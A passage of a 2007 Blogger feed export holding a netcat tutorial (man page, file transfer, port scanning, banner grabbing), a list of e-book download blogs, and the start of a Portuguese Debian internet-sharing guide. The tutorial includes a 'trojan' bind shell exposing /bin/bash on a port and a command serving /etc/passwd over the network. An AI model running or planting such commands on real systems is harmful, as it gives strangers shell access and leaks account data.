src='https://blogger.googleusercontent.com/tracker/13818048-4766300901235899920?l=drkmario.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://drkmario.blogspot.com/feeds/4766300901235899920/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13818048&amp;postID=4766300901235899920' title='1 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13818048/posts/default/4766300901235899920'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13818048/posts/default/4766300901235899920'/><link rel='alternate' type='text/html' href='http://drkmario.blogspot.com/2007/02/ftester-ferramenta-de-teste-de-firewall.html' title='Ftester - Ferramenta de Teste de Firewall e IDS'/><author><name>DrK</name><uri>http://www.blogger.com/profile/10828558378318057645</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://bp0.blogger.com/_P03K0mNYCME/RtA5hNWeyQI/AAAAAAAABHs/DEVXql0el04/s400/Mario_olhos_com_sombra.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13818048.post-6163368189213407722</id><published>2007-02-13T11:45:00.000-02:00</published><updated>2007-02-13T12:17:46.371-02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='how to make'/><category scheme='http://www.blogger.com/atom/ns#' term='firewall'/><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='netcat how to use'/><category scheme='http://www.blogger.com/atom/ns#' term='bypass firewall'/><category scheme='http://www.blogger.com/atom/ns#' term='netcat'/><category scheme='http://www.blogger.com/atom/ns#' term='hacker'/><category scheme='http://www.blogger.com/atom/ns#' term='trojan horse'/><category scheme='http://www.blogger.com/atom/ns#' term='hack'/><title type='text'>Using the netcat</title><content type='html'>Olá a Todos,&lt;br /&gt;como já fiz um artigo em português sobre o uso do netcat. Agora vou colocar uma versão em inglês.&lt;br /&gt;&lt;br /&gt;====== English Translation ======&lt;br /&gt;&lt;br /&gt;Hello Guys,&lt;br /&gt;&lt;br /&gt;As I've already done an article about how to use the netcat in protuguese. Now I'll release a english "lite" version of that article.&lt;br /&gt;&lt;br /&gt;Let's get started&lt;br /&gt;&lt;br /&gt;It's important to remember that commands e syntax of linux shell can be mixed with the netcat, such like using pipes, ( | ), &lt;, &gt;, &lt;&lt; and &gt;&gt;.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Using NetCat&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Introduction&lt;/strong&gt;&lt;br /&gt;NetCat is the "TCP/IP swiss army knife" available since 1996. Netcat is a simple Unix utility which reads and writes data across network connections, using TCP or UDP protocol. It is designed to be a reliable "back-end" tool that can be used directly or easily driven by other programs and scripts."&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Usage&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;Lets start with man pages that shows me the options I can use.&lt;br /&gt;&lt;br /&gt; The options are as follows:&lt;br /&gt;&lt;br /&gt;     -4      Forces nc to use IPv4 addresses only.&lt;br /&gt;&lt;br /&gt;     -6      Forces nc to use IPv6 addresses only.&lt;br /&gt;&lt;br /&gt;     -D      Enable debugging on the socket.&lt;br /&gt;&lt;br /&gt;     -d      Do not attempt to read from stdin.&lt;br /&gt;&lt;br /&gt;     -h      Prints out nc help.&lt;br /&gt;&lt;br /&gt;     -i interval&lt;br /&gt;             Specifies a delay time interval between lines of text sent and&lt;br /&gt;             received.  Also causes a delay time between connections to multi-&lt;br /&gt;             ple ports.&lt;br /&gt;&lt;br /&gt;     -k      Forces nc to stay listening for another connection after its cur-&lt;br /&gt;             rent connection is completed.  It is an error to use this option&lt;br /&gt;             without the -l option.&lt;br /&gt;&lt;br /&gt;     -l      Used to specify that nc should listen for an incoming connection&lt;br /&gt;             rather than initiate a connection to a remote host.  It is an er-&lt;br /&gt;             ror to use this option in conjunction with the -p, -s, or -z op-&lt;br /&gt;             tions.  Additionally, any timeouts specified with the -w option&lt;br /&gt;             are ignored.&lt;br /&gt;&lt;br /&gt;     -n      Do not do any DNS or service lookups on any specified addresses,&lt;br /&gt;             hostnames or ports.&lt;br /&gt;&lt;br /&gt;     -P proxy_username&lt;br /&gt;             Specifies a username to present to a proxy server that requires&lt;br /&gt;             authentication.  If no username is specified then authentication&lt;br /&gt;             will not be attempted.  Proxy authentication is only supported&lt;br /&gt;             for HTTP CONNECT proxies at present.&lt;br /&gt;&lt;br /&gt;     -p source_port&lt;br /&gt;             Specifies the source port nc should use, subject to privilege re-&lt;br /&gt;             strictions and availability.  It is an error to use this option&lt;br /&gt;             in conjunction with the -l option.&lt;br /&gt;&lt;br /&gt;     -r      Specifies that source and/or destination ports should be chosen&lt;br /&gt;             randomly instead of sequentially within a range or in the order&lt;br /&gt;             that the system assigns them.&lt;br /&gt;&lt;br /&gt;     -S      Enables the RFC 2385 TCP MD5 signature option.&lt;br /&gt;&lt;br /&gt;     -s source_ip_address&lt;br /&gt;             Specifies the IP of the interface which is used to send the pack-&lt;br /&gt;             ets.  It is an error to use this option in conjunction with the&lt;br /&gt;             -l option.&lt;br /&gt;&lt;br /&gt;     -T ToS  Specifies IP Type of Service (ToS) for the connection.  Valid&lt;br /&gt;             values are the tokens ``lowdelay'', ``throughput'',&lt;br /&gt;             ``reliability'', or an 8-bit hexadecimal value preceded by&lt;br /&gt;             ``0x''.&lt;br /&gt;&lt;br /&gt;     -t      Causes nc to send RFC 854 DON'T and WON'T responses to RFC 854 DO&lt;br /&gt;             and WILL requests.  This makes it possible to use nc to script&lt;br /&gt;             telnet sessions.&lt;br /&gt;&lt;br /&gt;     -U      Specifies to use Unix Domain Sockets.&lt;br /&gt;&lt;br /&gt;     -u      Use UDP instead of the default option of TCP.&lt;br /&gt;&lt;br /&gt;     -v      Have nc give more verbose output.&lt;br /&gt;&lt;br /&gt;     -w timeout&lt;br /&gt;             If a connection and stdin are idle for more than timeout seconds,&lt;br /&gt;             then the connection is silently closed.  The -w flag has no ef-&lt;br /&gt;             fect on the -l option, i.e. nc will listen forever for a connec-&lt;br /&gt;             tion, with or without the -w flag.  The default is no timeout.&lt;br /&gt;&lt;br /&gt;     -X proxy_protocol&lt;br /&gt;             Requests that nc should use the specified protocol when talking&lt;br /&gt;             to the proxy server.  Supported protocols are ``4'' (SOCKS v.4),&lt;br /&gt;             ``5'' (SOCKS v.5) and ``connect'' (HTTPS proxy).  If the protocol&lt;br /&gt;             is not specified, SOCKS version 5 is used.&lt;br /&gt;&lt;br /&gt;     -x proxy_address[:port]&lt;br /&gt;             Requests that nc should connect to hostname using a proxy at&lt;br /&gt;             proxy_address and port.  If port is not specified, the well-known&lt;br /&gt;             port for the proxy protocol is used (1080 for SOCKS, 3128 for&lt;br /&gt;             HTTPS).&lt;br /&gt;&lt;br /&gt;     -z      Specifies that nc should just scan for listening daemons, without&lt;br /&gt;             sending any data to them.  It is an error to use this option in&lt;br /&gt;             conjunction with the -l option.&lt;br /&gt;&lt;br /&gt;     hostname can be a numerical IP address or a symbolic hostname (unless the&lt;br /&gt;     -n option is given).  In general, a hostname must be specified, unless&lt;br /&gt;     the -l option is given (in which case the local host is used).&lt;br /&gt;&lt;br /&gt;     port[s] can be single integers or ranges.  Ranges are in the form nn-mm.&lt;br /&gt;     In general, a destination port must be specified, unless the -U option is&lt;br /&gt;     given (in which case a socket must be specified).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;CLIENT/SERVER MODEL&lt;/strong&gt;&lt;br /&gt;     It is quite simple to build a very basic client/server model using nc.&lt;br /&gt;     On one console, start nc listening on a specific port for a connection.&lt;br /&gt;     For example:&lt;br /&gt;&lt;br /&gt;           &lt;em&gt;$ nc -l 1234&lt;/em&gt;&lt;br /&gt;&lt;br /&gt;     nc is now listening on port 1234 for a connection.  On a second console&lt;br /&gt;     (or a second machine), connect to the machine and port being listened on:&lt;br /&gt;&lt;br /&gt;           &lt;em&gt;$ nc 127.0.0.1 1234&lt;/em&gt;&lt;br /&gt;&lt;br /&gt;     There should now be a connection between the ports.  Anything typed at&lt;br /&gt;     the second console will be concatenated to the first, and vice-versa.&lt;br /&gt;     After the connection has been set up, nc does not really care which side&lt;br /&gt;     is being used as a `server' and which side is being used as a `client'.&lt;br /&gt;     The connection may be terminated using an EOF (`^D').&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;DATA TRANSFER&lt;/strong&gt;&lt;br /&gt;     The example in the previous section can be expanded to build a basic data&lt;br /&gt;     transfer model.  Any information input into one end of the connection&lt;br /&gt;     will be output to the other end, and input and output can be easily cap-&lt;br /&gt;     tured in order to emulate file transfer.&lt;br /&gt;&lt;br /&gt;     Start by using nc to listen on a specific port, with output captured into&lt;br /&gt;     a file:&lt;br /&gt;&lt;br /&gt;           &lt;em&gt;$ nc -l 1234 &gt; filename.out&lt;/em&gt;&lt;br /&gt;&lt;br /&gt;     Using a second machine, connect to the listening nc process, feeding it&lt;br /&gt;     the file which is to be transferred:&lt;br /&gt;&lt;br /&gt;           &lt;em&gt;$ nc host.example.com 1234 &lt; filename.in&lt;/em&gt;&lt;br /&gt;&lt;br /&gt;     After the file has been transferred, the connection will close automati-&lt;br /&gt;     cally.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;TALKING TO SERVERS&lt;/strong&gt;&lt;br /&gt;     It is sometimes useful to talk to servers ``by hand'' rather than through&lt;br /&gt;     a user interface.  It can aid in troubleshooting, when it might be neces-&lt;br /&gt;     sary to verify what data a server is sending in response to commands is-&lt;br /&gt;     sued by the client.  For example, to retrieve the home page of a web&lt;br /&gt;     site:&lt;br /&gt;&lt;br /&gt;           &lt;em&gt;$ echo -n "GET / HTTP/1.0\r\n\r\n" | nc host.example.com 80&lt;/em&gt;&lt;br /&gt;&lt;br /&gt;     Note that this also displays the headers sent by the web server.  They&lt;br /&gt;     can be filtered, using a tool such as sed(1), if necessary.&lt;br /&gt;&lt;br /&gt;     More complicated examples can be built up when the user knows the format&lt;br /&gt;     of requests required by the server.  As another example, an email may be&lt;br /&gt;     submitted to an SMTP server using:&lt;br /&gt;&lt;br /&gt;           &lt;em&gt;$ nc localhost 25 &lt;&lt; EOF&lt;br /&gt;           HELO host.example.com&lt;br /&gt;           MAIL FROM:&lt;user@host.example.com&gt;&lt;br /&gt;           RCPT TO:&lt;user2@host.example.com&gt;&lt;br /&gt;           DATA&lt;br /&gt;           Body of email.&lt;br /&gt;           .&lt;br /&gt;           QUIT&lt;br /&gt;           EOF&lt;/em&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;PORT SCANNING&lt;/strong&gt;&lt;br /&gt;     It may be useful to know which ports are open and running services on a&lt;br /&gt;     target machine.  The -z flag can be used to tell nc to report open ports,&lt;br /&gt;     rather than initiate a connection.  For example:&lt;br /&gt;&lt;br /&gt;           &lt;em&gt;$ nc -z host.example.com 20-30&lt;br /&gt;           Connection to host.example.com 22 port [tcp/ssh] succeeded!&lt;br /&gt;           Connection to host.example.com 25 port [tcp/smtp] succeeded!&lt;/em&gt;&lt;br /&gt;&lt;br /&gt;     The port range was specified to limit the search to ports 20 - 30.&lt;br /&gt;&lt;br /&gt;     Alternatively, it might be useful to know which server software is run-&lt;br /&gt;     ning, and which versions.  This information is often contained within the&lt;br /&gt;     greeting banners.  In order to retrieve these, it is necessary to first&lt;br /&gt;     make a connection, and then break the connection when the banner has been&lt;br /&gt;     retrieved.  This can be accomplished by specifying a small timeout with&lt;br /&gt;     the -w flag, or perhaps by issuing a "QUIT" command to the server:&lt;br /&gt;&lt;br /&gt;           &lt;em&gt;$ echo "QUIT" | nc host.example.com 20-30&lt;br /&gt;           SSH-1.99-OpenSSH_3.6.1p2&lt;br /&gt;           Protocol mismatch.&lt;br /&gt;           220 host.example.com IMS SMTP Receiver Version 0.84 Ready&lt;/em&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;MAKE A REVERSE CONECTION AND GIVING A SHELL ACCESS [ Trojan ]&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;     We'll put a port X in listenning state, and we will redirect de output data&lt;br /&gt;     to a shell (/bin/bash). Then when someone connects through this port he will&lt;br /&gt;     gain a shell control of the machine. It work very similar to a trojan horse.&lt;br /&gt;&lt;br /&gt;     &lt;em&gt;$ nc -l -e /bin/bash -p 2332&lt;/em&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;EXAMPLES&lt;/strong&gt;&lt;br /&gt;     Open a TCP connection to port 42 of host.example.com, using port 31337 as&lt;br /&gt;     the source port, with a timeout of 5 seconds:&lt;br /&gt;&lt;br /&gt;           &lt;em&gt;$ nc -p 31337 -w 5 host.example.com 42&lt;/em&gt;&lt;br /&gt;&lt;br /&gt;     Open a UDP connection to port 53 of host.example.com:&lt;br /&gt;&lt;br /&gt;           &lt;em&gt;$ nc -u host.example.com 53&lt;/em&gt;&lt;br /&gt;&lt;br /&gt;     Open a TCP connection to port 42 of host.example.com using 10.1.2.3 as&lt;br /&gt;     the IP for the local end of the connection:&lt;br /&gt;&lt;br /&gt;           &lt;em&gt;$ nc -s 10.1.2.3 host.example.com 42&lt;/em&gt;&lt;br /&gt;&lt;br /&gt;     Create and listen on a Unix Domain Socket:&lt;br /&gt;&lt;br /&gt;           &lt;em&gt;$ nc -lU /var/tmp/dsocket&lt;/em&gt;&lt;br /&gt;&lt;br /&gt;     Connect to port 42 of host.example.com via an HTTP proxy at 10.2.3.4,&lt;br /&gt;     port 8080.  This example could also be used by ssh(1); see the&lt;br /&gt;     ProxyCommand directive in ssh_config(5) for more information.&lt;br /&gt;&lt;br /&gt;           &lt;em&gt;$ nc -x10.2.3.4:8080 -Xconnect host.example.com 42&lt;/em&gt;&lt;br /&gt;&lt;br /&gt;     The same example again, this time enabling proxy authentication with&lt;br /&gt;     username ``ruser'' if the proxy requires it:&lt;br /&gt;&lt;br /&gt;           &lt;em&gt;$ nc -x10.2.3.4:8080 -Xconnect -Pruser host.example.com 42&lt;/em&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;     While the -l (lowercase L) tells nc to listen to a port, -L (capital L) will&lt;br /&gt;     restart Netcat with the same command line when the connection is terminated.&lt;br /&gt;     This way you can connect over and over to the same Netcat process, although its&lt;br /&gt;     behavior may be a bit different (eg. if the server is waiting to send a file to&lt;br /&gt;     any client that connects, only the first connection will actually send the&lt;br /&gt;     file.)&lt;br /&gt;&lt;br /&gt;     If you don't want to see a DOS box remain open while running a server, add the&lt;br /&gt;     -d switch to tell nc to detach itself, and then close the DOS window.&lt;br /&gt;&lt;br /&gt;     To work with UDP, use the -u switch.&lt;br /&gt;&lt;br /&gt;     To keep a copy of the whole conversation between server and client in a hex&lt;br /&gt;     dump file, use the -o switch, eg. -o mylogfile.bin&lt;br /&gt;&lt;br /&gt;     If you specify a target host and optional port in listen mode, netcat will&lt;br /&gt;     accept an inbound connection only from that host and if you specify one, only&lt;br /&gt;     from that foreign source port.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;As a replacement to Telnet&lt;/strong&gt;&lt;br /&gt;     &lt;em&gt;nc smtp.acme.com 25&lt;br /&gt;&lt;br /&gt;     &gt; 220 smtp.acme.com ESMTP Postfix&lt;br /&gt;&lt;br /&gt;     quit&lt;br /&gt;&lt;br /&gt;     &gt; 221 Bye&lt;/em&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;     To scan a range of ports on a server:&lt;br /&gt;     nc -z -r -v www.acme.com 70-80&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;To open a port on a server, and send a file's content to a client:&lt;/strong&gt;&lt;br /&gt;     On the server: &lt;br /&gt;     &lt;em&gt;cat /etc/passwd | nc -l -p 1234 (or nc -l -p 1234 &lt; /etc/passwd)&lt;/em&gt;&lt;br /&gt;&lt;br /&gt;     On the client: nc remotehost.acme.com 1234 &gt; passwd.txt, followed by CTRL-C to&lt;br /&gt;     end the connection.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;To retrieve the home page of a web site:&lt;/strong&gt;&lt;br /&gt;     &lt;em&gt;nc -v www.website.com 80 &lt; get.txt&lt;/em&gt;&lt;br /&gt;&lt;br /&gt;     where get.txt contains GET / HTTP/1.0 followed by a CRLF since this is what a&lt;br /&gt;     web server expects to send a web page to a browser.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Poor man's web server&lt;/strong&gt;&lt;br /&gt;     On the server: &lt;em&gt;nc -L -p 1234 &lt; /home/drk/sometext.txt&lt;/em&gt;&lt;br /&gt;&lt;br /&gt;     On the client, point your browser to http://www.acme.com:1234&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Hope I helped someone&lt;br /&gt;&lt;br /&gt;Best regards.&lt;br /&gt;&lt;br /&gt;Mário Miranda de Magalhães&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13818048-6163368189213407722?l=drkmario.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://drkmario.blogspot.com/feeds/6163368189213407722/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13818048&amp;postID=6163368189213407722' title='2 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13818048/posts/default/6163368189213407722'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13818048/posts/default/6163368189213407722'/><link rel='alternate' type='text/html' href='http://drkmario.blogspot.com/2007/02/using-netcat.html' title='Using the netcat'/><author><name>DrK</name><uri>http://www.blogger.com/profile/10828558378318057645</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://bp0.blogger.com/_P03K0mNYCME/RtA5hNWeyQI/AAAAAAAABHs/DEVXql0el04/s400/Mario_olhos_com_sombra.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13818048.post-6035712890236516482</id><published>2007-02-12T09:35:00.000-02:00</published><updated>2007-02-22T11:05:16.870-02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='grátis'/><category scheme='http://www.blogger.com/atom/ns#' term='tutoriais'/><category scheme='http://www.blogger.com/atom/ns#' term='download'/><category scheme='http://www.blogger.com/atom/ns#' term='free'/><category scheme='http://www.blogger.com/atom/ns#' term='Tutorials'/><category scheme='http://www.blogger.com/atom/ns#' term='books'/><category scheme='http://www.blogger.com/atom/ns#' term='livros'/><title type='text'>Livros e Tutoriais</title><content type='html'>Como às vezes eu procuro livros e tutoriais para download e não acho, resolvi colocar aqui para compartilhar com os que visitam meu blog estes endereços.&lt;br /&gt;&lt;br /&gt;São livros de TI e outras coisas como "engenharia marítima".&lt;br /&gt;&lt;br /&gt;Seguem os links.&lt;br /&gt;&lt;br /&gt;http://worldclassbooks.blogspot.com ( Graças à ajuda de JITENDER KUMAR GARG )&lt;br /&gt;http://kitab-ghar.blogspot.com&lt;br /&gt;http://shahidzain.blogspot.com&lt;br /&gt;http://mahek-kutubkhana.blogspot.com&lt;br /&gt;http://shahid-tutesworld.blogspot.com&lt;br /&gt;http://arbizaa-softwareworld.blogspot.com&lt;br /&gt;http://alltutes.blogspot.com&lt;br /&gt;http://rapidshare-library.blogspot.com&lt;br /&gt;http://www.mzworld.com&lt;br /&gt;http://www.mzworld.com/wp/ebooks&lt;br /&gt;&lt;br /&gt;Espero que ajude alguém.&lt;br /&gt;&lt;br /&gt;P.S: A partir de hoje colocarei posts em inglês, mas não deixarei de escrever em português, só irei traduzi-los, pois tem pessoas de outros países interessadas em alguens dos meus post.&lt;br /&gt;&lt;br /&gt;Sintam-se livres para tecer qualquer comentário e reclamação.&lt;br /&gt;&lt;br /&gt;====== English Translation ======&lt;br /&gt;&lt;br /&gt;As times from times I need some books to studie, and I have to download them and finding it sux. I'll post here some links with lots of tutorials and books about a lot of things. Most of them are of IT but also have stuff like "marine engineering".&lt;br /&gt;&lt;br /&gt;Below the links:&lt;br /&gt;&lt;br /&gt;http://worldclassbooks.blogspot.com (Thanks to JITENDER KUMAR GARG)&lt;br /&gt;http://kitab-ghar.blogspot.com&lt;br /&gt;http://shahidzain.blogspot.com&lt;br /&gt;http://mahek-kutubkhana.blogspot.com&lt;br /&gt;http://shahid-tutesworld.blogspot.com&lt;br /&gt;http://arbizaa-softwareworld.blogspot.com&lt;br /&gt;http://alltutes.blogspot.com&lt;br /&gt;http://rapidshare-library.blogspot.com&lt;br /&gt;http://www.mzworld.com&lt;br /&gt;http://www.mzworld.com/wp/ebooks&lt;br /&gt;&lt;br /&gt;Hope I helped.&lt;br /&gt;&lt;br /&gt;P.S: I'll from now make posts both portuguese and english, 'cause some guys around the world are interest in this blog content.&lt;br /&gt;Feel free to drop me a line and say what you want and what you don't like here.&lt;br /&gt;&lt;br /&gt;[]'s to all&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13818048-6035712890236516482?l=drkmario.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://drkmario.blogspot.com/feeds/6035712890236516482/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13818048&amp;postID=6035712890236516482' title='1 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13818048/posts/default/6035712890236516482'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13818048/posts/default/6035712890236516482'/><link rel='alternate' type='text/html' href='http://drkmario.blogspot.com/2007/02/livros-e-tutoriais.html' title='Livros e Tutoriais'/><author><name>DrK</name><uri>http://www.blogger.com/profile/10828558378318057645</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://bp0.blogger.com/_P03K0mNYCME/RtA5hNWeyQI/AAAAAAAABHs/DEVXql0el04/s400/Mario_olhos_com_sombra.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13818048.post-2797890522531822665</id><published>2007-02-09T17:07:00.000-02:00</published><updated>2007-02-14T21:08:53.362-02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='compartilhar internet'/><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='rede'/><category scheme='http://www.blogger.com/atom/ns#' term='compartilhar conexão'/><title type='text'>Compartilhando Internet no Debian</title><content type='html'>&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;small&gt;Distro: Debian 3.1 &lt;/small&gt;&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;table class="toc" id="toc"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;div id="toctitle"&gt;&lt;h2&gt;Conteúdo&lt;/h2&gt;&lt;/div&gt;&lt;ul&gt;&lt;br /&gt;&lt;li class="toclevel-1"&gt;&lt;a href="#Pref.C3.A1cio"&gt;&lt;span class="tocnumber"&gt;1&lt;/span&gt; &lt;span class="toctext"&gt;Prefácio&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&lt;br /&gt;&lt;li class="toclevel-1"&gt;&lt;a href="#Requerimentos"&gt;&lt;span class="tocnumber"&gt;2&lt;/span&gt; &lt;span class="toctext"&gt;Requerimentos&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&lt;br /&gt;&lt;li class="toclevel-1"&gt;&lt;a href="#Criando_uma_rede"&gt;&lt;span class="tocnumber"&gt;3&lt;/span&gt; &lt;span class="toctext"&gt;Criando uma rede&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&lt;br /&gt;&lt;li class="toclevel-1"&gt;&lt;a href="#Configurando_a_segunda_esta.C3.A7.C3.A3o"&gt;&lt;span class="tocnumber"&gt;4&lt;/span&gt; &lt;span class="toctext"&gt;Configurando a segunda estação&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&lt;br /&gt;&lt;li class="toclevel-1"&gt;&lt;a href="#Criando_um_Script_para_compartilhamento_de_internet"&gt;&lt;span class="tocnumber"&gt;5&lt;/span&gt; &lt;span class="toctext"&gt;Criando um Script para compartilhamento de internet&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&lt;br /&gt;&lt;li class="toclevel-1"&gt;&lt;a href="#Colocando_na_inicializa.C3.A7.C3.A3o_da_m.C3.A1quina"&gt;&lt;span class="tocnumber"&gt;6&lt;/span&gt; &lt;span class="toctext"&gt;Colocando na inicialização da máquina&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&lt;br /&gt;&lt;li class="toclevel-1"&gt;&lt;a href="#Instalando_um_Servidor_DNS"&gt;&lt;span class="tocnumber"&gt;7&lt;/span&gt; &lt;span class="toctext"&gt;Instalando um Servidor DNS&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&lt;br /&gt;&lt;/ul&gt;&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;a name="Pref.C3.A1cio"&gt;&lt;/a&gt;&lt;h2&gt;Prefácio&lt;/h2&gt;&lt;br /&gt;&lt;p&gt;Muitas vezes temos em casa mais de um computador e nossa conexão nao permite o compartilhamento&lt;br /&gt;ou até mesmo voce tem uma conexão de Dial-up e gostaria de dividir ela com outro computador,&lt;br /&gt;entao se você tem um desses casos, este tutorial pode ser util para você.&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;a name="Requerimentos"&gt;&lt;/a&gt;&lt;h2&gt;Requerimentos&lt;/h2&gt;&lt;br /&gt;&lt;p&gt;Se você vai compartilhar a adsl com outro micro, voce irá precisar de:&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;pre&gt;Uma Placa de rede 10/100&lt;br /&gt;Um Hub/Swithc ou Cabo crossover ( no caso do cabo cross, so pode usar com mais uma maquina )&lt;br /&gt;Uma conexão com a internet&lt;/pre&gt;&lt;pre&gt; &lt;/pre&gt;&lt;a name="Criando_uma_rede"&gt;&lt;/a&gt;&lt;h2&gt;Criando uma rede&lt;/h2&gt;&lt;br /&gt;&lt;p&gt;Bom, para compartilhar a internet, iremos precisar inicialmente de criar uma rede, se voce&lt;br /&gt;for compartilhar a internet, e sua conexao for adsl, então mantenha a seguinte estrutura&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;pre&gt;Placa de rede 1 ( eth0 ) --&amp;gt; conexão com a internet&lt;br /&gt;Placa de rede 2 ( eth1 ) --&amp;gt; conexao de Rede Local&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;p&gt;Caso voce for compartilhar uma conexao dial-up então sua placa de rede será quem fará a conexão da&lt;br /&gt;rede local&lt;br /&gt;&lt;/p&gt;&lt;p&gt;Inicialmente voce já deve ter um ip configurado para comunicaçao com o seu modem, para verificar&lt;br /&gt;qual é o seu ip, abra um terminal (xterm, konsole, gnome-terminal... ) e digite o seguinte comando&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;pre&gt;/sbin/ifconfig&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;p&gt;a saida do comando será algo semelhante ao seguinte:&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;pre&gt;eth0       Encapsulamento do Link: Ethernet  Endereço de HW 00:E0:7D:A2:EF:3A&lt;br /&gt;         inet end.: 200.250.241.209  Bcast:255.255.255.255  Masc:255.255.255.0&lt;br /&gt;         endereço inet6: fe80::2e0:7dff:fea2:ef3a/64 Escopo:Link&lt;br /&gt;         UP BROADCASTRUNNING MULTICAST  MTU:1500  Métrica:1&lt;br /&gt;         RX packets:5304553 errors:1 dropped:0 overruns:0 frame:0&lt;br /&gt;         TX packets:3404353 errors:0 dropped:0 overruns:16 carrier:0&lt;br /&gt;         colisões:0 txqueuelen:1000&lt;br /&gt;         RX bytes:1683936055 (1.5 GiB)  TX bytes:3471646904 (3.2 GiB)&lt;br /&gt;         IRQ:5 Endereço de E/S:0xc400&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;pre&gt;lo         Encapsulamento do Link: Loopback Local&lt;br /&gt;         inet end.: 127.0.0.1  Masc:255.0.0.0&lt;br /&gt;         endereço inet6: ::1/128 Escopo:Máquina&lt;br /&gt;         UP LOOPBACKRUNNING  MTU:16436  Métrica:1&lt;br /&gt;         RX packets:1245431 errors:0 dropped:0 overruns:0 frame:0&lt;br /&gt;         TX packets:1245431 errors:0 dropped:0 overruns:0 carrier:0&lt;br /&gt;         colisões:0 txqueuelen:0&lt;br /&gt;         RX bytes:297554646 (283.7 MiB)  TX bytes:297554646 (283.7 MiB)&lt;/pre&gt;&lt;p&gt;&lt;br /&gt;Entao neste caso podemos ver que o meu ip é o ip 200.250.241.209, no meu caso, eu tenho uma&lt;br /&gt;conexão da net ( virtua ), esse ip é pego automaticamente por um cliente dhcp&lt;br /&gt;&lt;/p&gt;&lt;p&gt;no seu caso, este ip pode variar, pode ser uma rede exclusiva como 192.168.10 ou outra coisa qq&lt;br /&gt;&lt;/p&gt;&lt;p&gt;Bom, se a sua rede for 200.xxx.xxx.xxx voce pode usar qualquer ip para sua rede interna&lt;br /&gt;agora, se sua rede for 192.168.10.0 voce teria que usar uma rede 192.168.1.0 para separar&lt;br /&gt;as duas&lt;br /&gt;&lt;/p&gt;&lt;p&gt;Entao, primeiramente vamos configurar a rede, no debian, voce pode abrir o seguinte arquivo:&lt;br /&gt;&lt;/p&gt;&lt;br 